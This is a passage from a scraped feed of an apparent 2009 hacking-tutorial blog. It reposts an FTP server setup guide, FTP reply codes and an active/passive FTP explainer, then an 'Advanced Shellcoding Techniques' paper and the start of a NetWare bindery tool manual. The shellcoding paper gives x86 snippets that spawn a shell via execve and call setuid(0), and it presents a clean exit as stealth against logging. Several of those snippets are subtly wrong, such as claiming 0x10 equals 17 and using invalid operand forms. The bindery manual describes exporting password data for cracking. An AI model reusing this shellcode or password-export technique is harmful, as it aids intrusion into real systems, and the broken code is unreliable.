/&gt;&lt;br /&gt;Anti-hammering is also good, as it prevents people from slowing down your speed. From here, click 'Log Options' from the left column. If you would like to see and record every single command and clutter up your screen, leave the defaults.&lt;br /&gt;&lt;br /&gt;But, if you would like to see what is going on with the lowest possible space taken, click 'Screen' in the top column. You should then check off 'Log successful logins', and all of the options in the client directry, except 'Log directory changes'. After doing so, click 'Ok' in the bottom left corner.&lt;br /&gt;&lt;br /&gt;You will then have to go into 'Setup -&gt; User Accounts' (or ctrl &amp; u). From here, you should click on the right most column, and right click. Choose 'Add', and choose the username(s) you would like people to have access to.&lt;br /&gt;&lt;br /&gt;After giving a name (ex: themoonlanding), you will have to give them a set password in the bottom column (ex: wasfaked). For the 'Home IP' directory, (if you registered with a static server, check 'All IP Homes'. If your IP is static by default, choose your IP from the list. You will then have to right click in the very center column, and choose 'Add'.&lt;br /&gt;&lt;br /&gt;From here, you will have to set the directory you want the people to have access to. After choosing the directory, I suggest you choose the options 'Read', 'List', and 'Subdirs', unless of course you know what you're doing . After doing so, make an 'upload' folder in the directory, and choose to 'add' this folder seperately to the center column. Choose 'write', 'append', 'make', 'list', and 'subdirs'. This will allow them to upload only to specific folders (your upload folder).&lt;br /&gt;&lt;br /&gt;Now click on 'Miscellaneous' from the left column. Choose 'enable account', your time-out (how long it takes for people to remain idle before you automatically kick them off), the maximum number of users for this name, the maximum number of connections allowed simultaneously for one ip address, show relative path (a must!), and any other things at the bottom you'd like to have. Now click 'Ok'.&lt;br /&gt;**Requested**&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;From this main menu, click the little boxing glove icon in the top corner, and right click and unchoose the hit-o-meter for both uploads and downloads (with this you can monitor IP activity). Now click the lightning bolt, and your server is now up and running.&lt;br /&gt;&lt;br /&gt;Post your ftp info, like this:&lt;br /&gt;&lt;br /&gt;213.10.93.141 (or something else, such as: 'f*p://example.getmyip.com')&lt;br /&gt;&lt;br /&gt;User: *** (The username of the client)&lt;br /&gt;&lt;br /&gt;Pass: *** (The password)&lt;br /&gt;&lt;br /&gt;Port: *** (The port number you chose)&lt;br /&gt;&lt;br /&gt;So make a FTP and join the FTP section&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Listing The Contents Of A Ftp:&lt;br /&gt;&lt;br /&gt;Listing the content of a FTP is very simple.&lt;br /&gt;You will need FTP Content Maker, which can be downloaded from here:&lt;br /&gt;ht*p://www.etplanet.com/download/application/FTP%20Content%20Maker%201.02.zip&lt;br /&gt;&lt;br /&gt;1. Put in the IP of the server. Do not put "ftp://" or a "/" because it will not work if you do so.&lt;br /&gt;2. Put in the port. If the port is the default number, 21, you do not have to enter it.&lt;br /&gt;3. Put in the username and password in the appropriate fields. If the login is anonymous, you do not have to enter it.&lt;br /&gt;4. If you want to list a specific directory of the FTP, place it in the directory field. Otherwise, do not enter anything in the directory field.&lt;br /&gt;5. Click "Take the List!"&lt;br /&gt;6. After the list has been taken, click the UBB output tab, and copy and paste to wherever you want it.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;If FTP Content Maker is not working, it is probably because the server does not utilize Serv-U Software.&lt;br /&gt;&lt;br /&gt;If you get this error message:&lt;br /&gt;StatusCode = 550&lt;br /&gt;LastResponse was : 'Unable to open local file test-ftp'&lt;br /&gt;Error = 550 (Unable to open local file test-ftp)&lt;br /&gt;Error = Unable to open local file test-ftp = 550&lt;br /&gt;Close and restart FTP Content Maker, then try again.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;error messages:&lt;br /&gt;&lt;br /&gt;110 Restart marker reply. In this case, the text is exact and not left to the particular implementation; it must read: MARK yyyy = mmmm Where yyyy is User-process data stream marker, and mmmm server's equivalent marker (note the spaces between markers and "=").&lt;br /&gt;120 Service ready in nnn minutes.&lt;br /&gt;125 Data connection already open; transfer starting.&lt;br /&gt;150 File status okay; about to open data connection.&lt;br /&gt;200 Command okay.&lt;br /&gt;202 Command not implemented, superfluous at this site.&lt;br /&gt;211 System status, or system help reply.&lt;br /&gt;212 Directory status.&lt;br /&gt;213 File status.&lt;br /&gt;214 Help message. On how to use the server or the meaning of a particular non-standard command. This reply is useful only to the human user.&lt;br /&gt;215 NAME system type. Where NAME is an official system name from the list in the Assigned Numbers document.&lt;br /&gt;220 Service ready for new user.&lt;br /&gt;221 Service closing control connection. Logged out if appropriate.&lt;br /&gt;225 Data connection open; no transfer in progress.&lt;br /&gt;226 Closing data connection. Requested file action successful (for example, file transfer or file abort).&lt;br /&gt;227 Entering Passive Mode (h1,h2,h3,h4,p1,p2).&lt;br /&gt;230 User logged in, proceed.&lt;br /&gt;250 Requested file action okay, completed.&lt;br /&gt;257 "PATHNAME" created.&lt;br /&gt;331 User name okay, need password.&lt;br /&gt;332 Need account for login.&lt;br /&gt;350 Requested file action pending further information.&lt;br /&gt;421 Too many users logged to the same account&lt;br /&gt;425 Can't open data connection.&lt;br /&gt;426 Connection closed; transfer aborted.&lt;br /&gt;450 Requested file action not taken. File unavailable (e.g., file busy).&lt;br /&gt;451 Requested action aborted: local error in processing.&lt;br /&gt;452 Requested action not taken. Insufficient storage space in system.&lt;br /&gt;500 Syntax error, command unrecognized. This may include errors such as command line too long.&lt;br /&gt;501 Syntax error in parameters or arguments.&lt;br /&gt;502 Command not implemented.&lt;br /&gt;503 Bad sequence of commands.&lt;br /&gt;504 Command not implemented for that parameter.&lt;br /&gt;530 Not logged in.&lt;br /&gt;532 Need account for storing files.&lt;br /&gt;550 Requested action not taken. File unavailable (e.g., file not found, no access).&lt;br /&gt;551 Requested action aborted: page type unknown.&lt;br /&gt;552 Requested file action aborted. Exceeded storage allocation (for current directory or dataset).&lt;br /&gt;553 Requested action not taken. File name not allowed.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt; Active FTP vs. Passive FTP, a Definitive Explanation&lt;br /&gt;&lt;br /&gt;Introduction&lt;br /&gt;One of the most commonly seen questions when dealing with firewalls and other Internet connectivity issues is the difference between active and passive FTP and how best to support either or both of them. Hopefully the following text will help to clear up some of the confusion over how to support FTP in a firewalled environment.&lt;br /&gt;&lt;br /&gt;This may not be the definitive explanation, as the title claims, however, I've heard enough good feedback and seen this document linked in enough places to know that quite a few people have found it to be useful. I am always looking for ways to improve things though, and if you find something that is not quite clear or needs more explanation, please let me know! Recent additions to this document include the examples of both active and passive command line FTP sessions. These session examples should help make things a bit clearer. They also provide a nice picture into what goes on behind the scenes during an FTP session. Now, on to the information...&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;The Basics&lt;br /&gt;FTP is a TCP based service exclusively. There is no UDP component to FTP. FTP is an unusual service in that it utilizes two ports, a 'data' port and a 'command' port (also known as the control port). Traditionally these are port 21 for the command port and port 20 for the data port. The confusion begins however, when we find that depending on the mode, the data port is not always on port 20.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Active FTP&lt;br /&gt;In active mode FTP the client connects from a random unprivileged port (N &gt; 1024) to the FTP server's command port, port 21. Then, the client starts listening to port N+1 and sends the FTP command PORT N+1 to the FTP server. The server will then connect back to the client's specified data port from its local data port, which is port 20.&lt;br /&gt;&lt;br /&gt;From the server-side firewall's standpoint, to support active mode FTP the following communication channels need to be opened:&lt;br /&gt;&lt;br /&gt;FTP server's port 21 from anywhere (Client initiates connection)&lt;br /&gt;FTP server's port 21 to ports &gt; 1024 (Server responds to client's control port)&lt;br /&gt;FTP server's port 20 to ports &gt; 1024 (Server initiates data connection to client's data port)&lt;br /&gt;FTP server's port 20 from ports &gt; 1024 (Client sends ACKs to server's data port)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;In step 1, the client's command port contacts the server's command port and sends the command PORT 1027. The server then sends an ACK back to the client's command port in step 2. In step 3 the server initiates a connection on its local data port to the data port the client specified earlier. Finally, the client sends an ACK back as shown in step 4.&lt;br /&gt;&lt;br /&gt;The main problem with active mode FTP actually falls on the client side. The FTP client doesn't make the actual connection to the data port of the server--it simply tells the server what port it is listening on and the server connects back to the specified port on the client. From the client side firewall this appears to be an outside system initiating a connection to an internal client--something that is usually blocked.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Active FTP Example&lt;br /&gt;Below is an actual example of an active FTP session. The only things that have been changed are the server names, IP addresses, and user names. In this example an FTP session is initiated from testbox1.slacksite.com (192.168.150.80), a linux box running the standard FTP command line client, to testbox2.slacksite.com (192.168.150.90), a linux box running ProFTPd 1.2.2RC2. The debugging (-d) flag is used with the FTP client to show what is going on behind the scenes. Everything in red is the debugging output which shows the actual FTP commands being sent to the server and the responses generated from those commands. Normal server output is shown in black, and user input is in bold.&lt;br /&gt;&lt;br /&gt;There are a few interesting things to consider about this dialog. Notice that when the PORT command is issued, it specifies a port on the client (192.168.150.80) system, rather than the server. We will see the opposite behavior when we use passive FTP. While we are on the subject, a quick note about the format of the PORT command. As you can see in the example below it is formatted as a series of six numbers separated by commas. The first four octets are the IP address while the second two octets comprise the port that will be used for the data connection. To find the actual port multiply the fifth octet by 256 and then add the sixth octet to the total. Thus in the example below the port number is ( (14*256) + 178), or 3762. A quick check with netstat should confirm this information.&lt;br /&gt;&lt;br /&gt;testbox1: {/home/p-t/slacker/public_html} % ftp -d testbox2&lt;br /&gt;Connected to testbox2.slacksite.com.&lt;br /&gt;220 testbox2.slacksite.com FTP server ready.&lt;br /&gt;Name (testbox2:slacker): slacker&lt;br /&gt;---&gt; USER slacker&lt;br /&gt;331 Password required for slacker.&lt;br /&gt;Password: TmpPass&lt;br /&gt;---&gt; PASS XXXX&lt;br /&gt;230 User slacker logged in.&lt;br /&gt;---&gt; SYST&lt;br /&gt;215 UNIX Type: L8&lt;br /&gt;Remote system type is UNIX.&lt;br /&gt;Using binary mode to transfer files.&lt;br /&gt;ftp&gt; ls&lt;br /&gt;ftp: setsockopt (ignored): Permission denied&lt;br /&gt;---&gt; PORT 192,168,150,80,14,178&lt;br /&gt;200 PORT command successful.&lt;br /&gt;---&gt; LIST&lt;br /&gt;150 Opening ASCII mode data connection for file list.&lt;br /&gt;drwx------ 3 slacker users 104 Jul 27 01:45 public_html&lt;br /&gt;226 Transfer complete.&lt;br /&gt;ftp&gt; quit&lt;br /&gt;---&gt; QUIT&lt;br /&gt;221 Goodbye.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Passive FTP&lt;br /&gt;In order to resolve the issue of the server initiating the connection to the client a different method for FTP connections was developed. This was known as passive mode, or PASV, after the command used by the client to tell the server it is in passive mode.&lt;br /&gt;&lt;br /&gt;In passive mode FTP the client initiates both connections to the server, solving the problem of firewalls filtering the incoming data port connection to the client from the server. When opening an FTP connection, the client opens two random unprivileged ports locally (N &gt; 1024 and N+1). The first port contacts the server on port 21, but instead of then issuing a PORT command and allowing the server to connect back to its data port, the client will issue the PASV command. The result of this is that the server then opens a random unprivileged port (P &gt; 1024) and sends the PORT P command back to the client. The client then initiates the connection from port N+1 to port P on the server to transfer data.&lt;br /&gt;&lt;br /&gt;From the server-side firewall's standpoint, to support passive mode FTP the following communication channels need to be opened:&lt;br /&gt;&lt;br /&gt;FTP server's port 21 from anywhere (Client initiates connection)&lt;br /&gt;FTP server's port 21 to ports &gt; 1024 (Server responds to client's control port)&lt;br /&gt;FTP server's ports &gt; 1024 from anywhere (Client initiates data connection to random port specified by server)&lt;br /&gt;FTP server's ports &gt; 1024 to remote ports &gt; 1024 (Server sends ACKs (and data) to client's data port)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;In step 1, the client contacts the server on the command port and issues the PASV command. The server then replies in step 2 with PORT 2024, telling the client which port it is listening to for the data connection. In step 3 the client then initiates the data connection from its data port to the specified server data port. Finally, the server sends back an ACK in step 4 to the client's data port.&lt;br /&gt;&lt;br /&gt;While passive mode FTP solves many of the problems from the client side, it opens up a whole range of problems on the server side. The biggest issue is the need to allow any remote connection to high numbered ports on the server. Fortunately, many FTP daemons, including the popular WU-FTPD allow the administrator to specify a range of ports which the FTP server will use. See Appendix 1 for more information.&lt;br /&gt;&lt;br /&gt;The second issue involves supporting and troubleshooting clients which do (or do not) support passive mode. As an example, the command line FTP utility provided with Solaris does not support passive mode, necessitating a third-party FTP client, such as ncftp.&lt;br /&gt;&lt;br /&gt;With the massive popularity of the World Wide Web, many people prefer to use their web browser as an FTP client. Most browsers only support passive mode when accessing ftp:// URLs. This can either be good or bad depending on what the servers and firewalls are configured to support.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Passive FTP Example&lt;br /&gt;Below is an actual example of a passive FTP session. The only things that have been changed are the server names, IP addresses, and user names. In this example an FTP session is initiated from testbox1.slacksite.com (192.168.150.80), a linux box running the standard FTP command line client, to testbox2.slacksite.com (192.168.150.90), a linux box running ProFTPd 1.2.2RC2. The debugging (-d) flag is used with the FTP client to show what is going on behind the scenes. Everything in red is the debugging output which shows the actual FTP commands being sent to the server and the responses generated from those commands. Normal server output is shown in black, and user input is in bold.&lt;br /&gt;&lt;br /&gt;Notice the difference in the PORT command in this example as opposed to the active FTP example. Here, we see a port being opened on the server (192.168.150.90) system, rather than the client. See the discussion about the format of the PORT command above, in the Active FTP Example section.&lt;br /&gt;&lt;br /&gt;testbox1: {/home/p-t/slacker/public_html} % ftp -d testbox2&lt;br /&gt;Connected to testbox2.slacksite.com.&lt;br /&gt;220 testbox2.slacksite.com FTP server ready.&lt;br /&gt;Name (testbox2:slacker): slacker&lt;br /&gt;---&gt; USER slacker&lt;br /&gt;331 Password required for slacker.&lt;br /&gt;Password: TmpPass&lt;br /&gt;---&gt; PASS XXXX&lt;br /&gt;230 User slacker logged in.&lt;br /&gt;---&gt; SYST&lt;br /&gt;215 UNIX Type: L8&lt;br /&gt;Remote system type is UNIX.&lt;br /&gt;Using binary mode to transfer files.&lt;br /&gt;ftp&gt; passive&lt;br /&gt;Passive mode on.&lt;br /&gt;ftp&gt; ls&lt;br /&gt;ftp: setsockopt (ignored): Permission denied&lt;br /&gt;---&gt; PASV&lt;br /&gt;227 Entering Passive Mode (192,168,150,90,195,149).&lt;br /&gt;---&gt; LIST&lt;br /&gt;150 Opening ASCII mode data connection for file list&lt;br /&gt;drwx------ 3 slacker users 104 Jul 27 01:45 public_html&lt;br /&gt;226 Transfer complete.&lt;br /&gt;ftp&gt; quit&lt;br /&gt;---&gt; QUIT&lt;br /&gt;221 Goodbye.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Summary&lt;br /&gt;The following chart should help admins remember how each FTP mode works:&lt;br /&gt;&lt;br /&gt;Active FTP :&lt;br /&gt;command : client &gt;1024 -&gt; server 21&lt;br /&gt;data : client &gt;1024 &lt;- server 20&lt;br /&gt;&lt;br /&gt;Passive FTP :&lt;br /&gt;command : client &gt;1024 -&gt; server 21&lt;br /&gt;data : client &gt;1024 -&gt; server &gt;1024&lt;br /&gt;&lt;br /&gt;A quick summary of the pros and cons of active vs. passive FTP is also in order:&lt;br /&gt;&lt;br /&gt;Active FTP is beneficial to the FTP server admin, but detrimental to the client side admin. The FTP server attempts to make connections to random high ports on the client, which would almost certainly be blocked by a firewall on the client side. Passive FTP is beneficial to the client, but detrimental to the FTP server admin. The client will make both connections to the server, but one of them will be to a random high port, which would almost certainly be blocked by a firewall on the server side.&lt;br /&gt;&lt;br /&gt;Luckily, there is somewhat of a compromise. Since admins running FTP servers will need to make their servers accessible to the greatest number of clients, they will almost certainly need to support passive FTP. The exposure of high level ports on the server can be minimized by specifying a limited port range for the FTP server to use. Thus, everything except for this range of ports can be firewalled on the server side. While this doesn't eliminate all risk to the server, it decreases it tremendously.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1600577931686774058-1178315573842521640?l=200hacking-tutorial.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/7I2WVzfpt8dz3qa1bh3JWyB6pgg/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/7I2WVzfpt8dz3qa1bh3JWyB6pgg/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/7I2WVzfpt8dz3qa1bh3JWyB6pgg/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/7I2WVzfpt8dz3qa1bh3JWyB6pgg/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/200HackingTutorial/~4/kODjWwZ6UOI" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://200hacking-tutorial.blogspot.com/feeds/1178315573842521640/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://200hacking-tutorial.blogspot.com/2009/11/all-about-ftp-must-read.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/1600577931686774058/posts/default/1178315573842521640?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/1600577931686774058/posts/default/1178315573842521640?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/200HackingTutorial/~3/kODjWwZ6UOI/all-about-ftp-must-read.html" title="All about ftp must read" /><author><name>EDIDIONG</name><uri>http://www.blogger.com/profile/12177228070157737970</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>0</thr:total><feedburner:origLink>http://200hacking-tutorial.blogspot.com/2009/11/all-about-ftp-must-read.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DkYDSH4-fip7ImA9WxNUEkk.&quot;"><id>tag:blogger.com,1999:blog-1600577931686774058.post-4758697340665534609</id><published>2009-11-03T02:29:00.001-08:00</published><updated>2009-11-03T02:29:39.056-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-11-03T02:29:39.056-08:00</app:edited><title>Advanced Shellcoding Techniques</title><content type="html">***********************************************&lt;br /&gt;     *                                             *&lt;br /&gt;     * Advanced Shellcoding Techniques - by Darawk *&lt;br /&gt;     *                                             *&lt;br /&gt;     ***********************************************&lt;br /&gt;&lt;br /&gt;Introduction&lt;br /&gt;&lt;br /&gt;This paper assumes a working knowledge of basic shellcoding techniques, and x86 assembly, I will not rehash these in this paper.  I hope to teach you some of the lesser known shellcoding techniques that I have picked up, which will allow you to write smaller and better shellcodes.  I do not claim to have invented any of these techniques, except for the one that uses the div instruction.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;The multiplicity of mul&lt;br /&gt;&lt;br /&gt;This technique was originally developed by Sorbo of darkircop.net.  The mul instruction may, on the surface, seem mundane, and it's purpose obvious.  However, when faced with the difficult challenge of shrinking your shellcode, it proves to be quite useful.  First some background information on the mul instruction itself.&lt;br /&gt;&lt;br /&gt;mul performs an unsigned multiply of two integers.  It takes only one operand, the other is implicitly specified by the %eax register.  So, a  common mul instruction might look something like this:&lt;br /&gt;&lt;br /&gt;movl $0x0a,%eax&lt;br /&gt;mul $0x0a&lt;br /&gt;&lt;br /&gt;This would multiply the value stored in %eax by the operand of mul, which in this case would be 10*10.  The result is then implicitly stored in EDX:EAX.  The result is stored over a span of two registers because it has the potential to be considerably larger than the previous value, possibly exceeding the capacity of a single register(this is also how floating points are stored in some cases, as an interesting sidenote).&lt;br /&gt;&lt;br /&gt;So, now comes the ever-important question.  How can we use these attributes to our advantage when writing shellcode?  Well, let's think for a second, the instruction takes only one operand, therefore, since it is a very common instruction, it will generate only two bytes in our final shellcode.  It multiplies whatever is passed to it by the value stored in %eax, and stores the value in both %edx and %eax, completely overwriting the contents of both registers, regardless of whether it is necessary to do so, in order to store the result of the multiplication.  Let's put on our mathematician hats for a second, and consider this, what is the only possible result of a multiplication by 0?  The answer, as you may have guessed, is 0.  I think it's about time for some example code, so here it is:&lt;br /&gt;&lt;br /&gt;xorl %ecx,%ecx&lt;br /&gt;mul %ecx&lt;br /&gt;&lt;br /&gt;What is this shellcode doing?  Well, it 0's out the %ecx register using the xor instruction, so we now know that %ecx is 0.  Then it does a mul %ecx, which as we just learned, multiplies it's operand by the value in %eax, and then proceeds to store the result of this multiplication in EDX:EAX.  So, regardless of %eax's previous contents, %eax must now be 0.  However that's not all, %edx is 0'd now too, because, even though no overflow occurs, it still overwrites the %edx register with the sign bit(left-most bit) of %eax.  Using this technique we can zero out three registers in only three bytes, whereas by any other method(that I know of) it would have taken at least six.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;The div instruction&lt;br /&gt;&lt;br /&gt;Div is very similar to mul, in that it takes only one operand and implicitly divides the operand by the value in %eax.  Also like, mul it stores the result of the divide in %eax.  Again, we will require the mathematical side of our brains to figure out how we can take advantage of this instruction.  But first, let's think about what is normally stored in the %eax register.  The %eax register holds the return value of functions and/or syscalls.  Most syscalls that are used in shellcoding will return -1(on failure) or a positive value of some kind, only rarely will they return 0(though it does occur).  So, if we know that after a syscall is performed, %eax will have a non-zero value, and that  the instruction divl %eax will divide %eax by itself, and then store the result in %eax, we can say that executing the divl %eax instruction after a syscall will put the value 1 into %eax.  So...how is this applicable to shellcoding? Well, their is another important thing that %eax is used for, and that is to pass the specific syscall that you would like to call to int $0x80.  It just so happens that the syscall that corresponds to the value 1 is exit().  Now for an example:&lt;br /&gt;&lt;br /&gt;       &lt;br /&gt;xorl %ebx,%ebx&lt;br /&gt;mul %ebx&lt;br /&gt;push %edx&lt;br /&gt;pushl   $0x3268732f&lt;br /&gt;pushl   $0x6e69622f&lt;br /&gt;mov %esp, %ebx&lt;br /&gt;push %edx&lt;br /&gt;push %ebx&lt;br /&gt;mov %esp,%ecx&lt;br /&gt;movb $0xb, %al  #execve() syscall, doesn't return at all unless it fails, in which case it returns -1&lt;br /&gt;int $0x80&lt;br /&gt;&lt;br /&gt;divl %eax  # -1 / -1 = 1&lt;br /&gt;int $0x80&lt;br /&gt;&lt;br /&gt;Now, we have a 3 byte exit function, where as before it was 5 bytes.  However, there is a catch, what if a syscall does return 0?  Well in the odd situation in which that could happen, you could do many different things, like inc %eax, dec %eax, not %eax anything that will make %eax non-zero.  Some people say that exit's are not important in shellcode, because your code gets executed regardless of whether or not it exits cleanly.  They are right too, if you really need to save 3 bytes to fit your shellcode in somewhere, the exit() isn't worth keeping.  However, when your code does finish, it will try to execute whatever was after your last instruction, which will most likely produce a SIG ILL(illegal instruction) which is a rather odd error, and will be logged by the system.  So, an exit() simply adds an extra layer of stealth to your exploit, so that even if it fails or you can't wipe all the logs, at least this part of your presence will be clear.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Unlocking the power of leal&lt;br /&gt;&lt;br /&gt;The leal instruction is an often neglected instruction in shellcode, even though it is quite useful.  Consider this short piece of shellcode.&lt;br /&gt;&lt;br /&gt;xorl %ecx,%ecx&lt;br /&gt;leal 0x10(%ecx),%eax&lt;br /&gt;&lt;br /&gt;This will load the value 17 into eax, and clear all of the extraneous bits of eax.  This occurs because the leal instruction loads a variable of the type long into it's desitination operand.  In it's normal usage, this would load the address of a variable into a register, thus creating a pointer of sorts.  However, since ecx is 0'd and 0+17=17, we load the value 17 into eax instead of any kind of actual address.  In a normal shellcode we would do something like this, to accomplish the same thing:&lt;br /&gt;&lt;br /&gt;xorl %eax,%eax&lt;br /&gt;movb $0x10,%eax&lt;br /&gt;&lt;br /&gt;I can hear you saying, but that shellcode is a byte shorter than the leal one, and you're quite right.  However, in a real shellcode you may already have to 0 out a register like ecx(or any other register), so the xorl instruction in the leal shellcode isn't counted.  Here's an example:&lt;br /&gt;&lt;br /&gt;xorl    %eax,%eax&lt;br /&gt;xorl    %ebx,%ebx&lt;br /&gt;movb    $0x17,%al&lt;br /&gt;int    $0x80&lt;br /&gt;       &lt;br /&gt;xorl %ebx,%ebx&lt;br /&gt;leal 0x17(%ebx),%al&lt;br /&gt;int $0x80&lt;br /&gt;&lt;br /&gt;Both of these shellcodes call setuid(0), but one does it in 7 bytes while the other does it in 8.  Again, I hear you saying but that's only one byte it doesn't make that much of a difference, and you're right, here it doesn't make much of a difference(except for in shellcode-size pissing contests =p), but when applied to much larger shellcodes, which have many function calls and need to do things like this frequently, it can save quite a bit of space.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Conclusion&lt;br /&gt;&lt;br /&gt;I hope you all learned something, and will go out and apply your knowledge to create smaller and better shellcodes.  If you know who invented  the leal technique, please tell me and I will credit him/her.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1600577931686774058-4758697340665534609?l=200hacking-tutorial.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/L_Q5A63q06VhCSNvFFLBDa4PZmM/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/L_Q5A63q06VhCSNvFFLBDa4PZmM/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/L_Q5A63q06VhCSNvFFLBDa4PZmM/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/L_Q5A63q06VhCSNvFFLBDa4PZmM/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/200HackingTutorial/~4/yGQctLvv7AE" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://200hacking-tutorial.blogspot.com/feeds/4758697340665534609/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://200hacking-tutorial.blogspot.com/2009/11/advanced-shellcoding-techniques.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/1600577931686774058/posts/default/4758697340665534609?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/1600577931686774058/posts/default/4758697340665534609?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/200HackingTutorial/~3/yGQctLvv7AE/advanced-shellcoding-techniques.html" title="Advanced Shellcoding Techniques" /><author><name>EDIDIONG</name><uri>http://www.blogger.com/profile/12177228070157737970</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>0</thr:total><feedburner:origLink>http://200hacking-tutorial.blogspot.com/2009/11/advanced-shellcoding-techniques.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DkcDQnk6fCp7ImA9WxNUEkk.&quot;"><id>tag:blogger.com,1999:blog-1600577931686774058.post-1918166823853660367</id><published>2009-11-03T02:27:00.001-08:00</published><updated>2009-11-03T02:27:53.714-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-11-03T02:27:53.714-08:00</app:edited><title>Accessing the bindery files directly</title><content type="html">3 November 1995&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;                  Accessing the bindery files directly&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;                  Alastair Grant, Cambridge University&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;1. Introduction&lt;br /&gt;&lt;br /&gt;This document describes a command for accessing the NetWare 3.x bindery&lt;br /&gt;files directly, bypassing the NetWare network API calls.&lt;br /&gt;&lt;br /&gt;It can be used for fast bindery access, bulk user management, bypassing&lt;br /&gt;security restrictions, investigating problems etc.&lt;br /&gt;&lt;br /&gt;It is quite possible to destroy the bindery completely, or to reveal&lt;br /&gt;information which could be used by hackers to obtain passwords. Users&lt;br /&gt;are assumed to have a basic grasp of good procedures for security and&lt;br /&gt;backup.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;2. Command syntax&lt;br /&gt;&lt;br /&gt;The basic format of the command is&lt;br /&gt;&lt;br /&gt;   bindery [options] bindery-spec action action ...&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;2.1 Specifying a bindery&lt;br /&gt;&lt;br /&gt;A bindery specification takes the form&lt;br /&gt;&lt;br /&gt;   path/.extension&lt;br /&gt;&lt;br /&gt;E.g. SYS:SYSTEM/.SYS. The path defaults to the current directory. The&lt;br /&gt;extension defaults to .OLD.&lt;br /&gt;&lt;br /&gt;Alternatively an 'active' bindery can be specified:&lt;br /&gt;&lt;br /&gt;   SERVER server&lt;br /&gt;&lt;br /&gt;The bindery will be closed if necessary.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;2.2 Actions on the bindery&lt;br /&gt;&lt;br /&gt;  INFO      print info about the bindery&lt;br /&gt;  SCHEMA    checks the bindery against the schema in BINDERY.SCH&lt;br /&gt;  DUMP obj  dump all information for the specified object(s)&lt;br /&gt;  OBJ       list all object records&lt;br /&gt;  PROP      list all property records&lt;br /&gt;  VAL       list all value records&lt;br /&gt;  VALDATA   list all value records, with data&lt;br /&gt;  EXPORT    export the bindery to a text file; see below&lt;br /&gt;  IMPORT    import the bindery from a text file&lt;br /&gt;  ETC       export user password information, suitable for input to the&lt;br /&gt;            password-cracking program described below&lt;br /&gt;&lt;br /&gt;The following actions apply only if a bindery has been specified by the&lt;br /&gt;SERVER parameter:&lt;br /&gt;  CLOSE     close the bindery, i.e. make it available for direct access;&lt;br /&gt;            users attempting to access the bindery via NetWare API calls&lt;br /&gt;            will receive an error&lt;br /&gt;  OPEN      open the bindery, which causes the server to reload it and&lt;br /&gt;            may take some time for large binderies&lt;br /&gt;  COPY directory&lt;br /&gt;            copy the bindery files into a directory elsewhere&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;3. Export/import&lt;br /&gt;&lt;br /&gt;The bindery can be exported to and imported from a text 